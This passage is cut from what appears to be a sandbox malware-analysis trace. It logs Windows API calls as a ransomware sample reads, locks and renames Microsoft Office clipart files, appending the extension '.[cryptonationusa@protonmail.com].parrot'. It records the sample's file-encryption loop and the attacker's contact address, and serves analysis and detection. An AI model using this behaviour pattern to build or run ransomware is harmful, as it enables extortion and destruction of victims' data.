lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.216] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.216] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xce0, lpOverlapped=0x0) returned 1 [0146.217] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.217] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.217] CloseHandle (hObject=0x288) returned 1 [0146.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.221] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.221] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.221] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.223] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb9e, lpOverlapped=0x0) returned 1 [0146.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.223] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.223] CloseHandle (hObject=0x288) returned 1 [0146.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.227] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda0, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.227] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.227] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.228] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.229] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc88, lpOverlapped=0x0) returned 1 [0146.229] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.229] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.229] CloseHandle (hObject=0x288) returned 1 [0146.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.234] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.234] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.234] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.235] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14c4, lpOverlapped=0x0) returned 1 [0146.236] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.236] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.236] CloseHandle (hObject=0x288) returned 1 [0146.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.240] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x578, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.240] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.240] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.241] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.241] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x460, lpOverlapped=0x0) returned 1 [0146.242] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.242] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x578, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.242] CloseHandle (hObject=0x288) returned 1 [0146.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.265] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x388, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.265] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.267] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x270, lpOverlapped=0x0) returned 1 [0146.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.267] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x388, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.267] CloseHandle (hObject=0x27c) returned 1 [0146.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.272] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1250, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.272] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.273] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1138, lpOverlapped=0x0) returned 1 [0146.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.274] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1250, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.274] CloseHandle (hObject=0x27c) returned 1 [0146.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.278] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.280] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10c8, lpOverlapped=0x0) returned 1 [0146.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.281] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.281] CloseHandle (hObject=0x27c) returned 1 [0146.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.285] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.285] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.288] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdb8, lpOverlapped=0x0) returned 1 [0146.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.288] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.288] CloseHandle (hObject=0x27c) returned 1 [0146.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.292] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.292] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.292] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.301] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27e0, lpOverlapped=0x0) returned 1 [0146.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.305] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.305] CloseHandle (hObject=0x27c) returned 1 [0146.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.311] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa30, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.311] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.314] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x918, lpOverlapped=0x0) returned 1 [0146.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.315] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.315] CloseHandle (hObject=0x27c) returned 1 [0146.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.338] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x554, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.338] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.338] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.339] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43c, lpOverlapped=0x0) returned 1 [0146.340] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.340] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x554, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.340] CloseHandle (hObject=0x27c) returned 1 [0146.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.344] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x58c, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.344] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.385] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x474, lpOverlapped=0x0) returned 1 [0146.386] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.386] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x58c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.386] CloseHandle (hObject=0x27c) returned 1 [0146.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.391] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x784, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.391] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.416] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x66c, lpOverlapped=0x0) returned 1 [0146.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.417] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x784, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.417] CloseHandle (hObject=0x27c) returned 1 [0146.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.421] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.421] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.421] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.423] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 